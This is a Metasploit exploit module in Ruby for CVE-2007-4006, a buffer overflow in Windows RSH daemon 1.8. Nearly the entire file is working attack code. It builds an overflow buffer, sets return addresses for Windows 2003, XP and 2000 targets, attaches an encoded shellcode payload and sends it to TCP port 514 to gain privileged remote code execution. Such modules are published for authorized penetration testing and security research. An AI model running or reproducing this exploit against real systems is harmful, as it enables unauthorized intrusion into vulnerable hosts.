Windows RSH Daemon Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows RSH Daemon Buffer Overflow',
        'Description' => %q{
          This module exploits a vulnerability in Windows RSH daemon 1.8.
          The vulnerability is due to a failure to check for the length of input sent
          to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit
          to be successful.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2007-4006'],
          ['OSVDB', '38572'],
          ['BID', '25044'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 850,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ],
          [ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ],
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2007-07-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(514)])
  end

  def exploit
    connect

    sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00"
    sploit << rand_text_english(1024) + [target.ret].pack('V')
    sploit << payload.encoded

    print_status("Trying target #{target.name}...")

    sock.put(sploit)

    handler
    disconnect
  end
end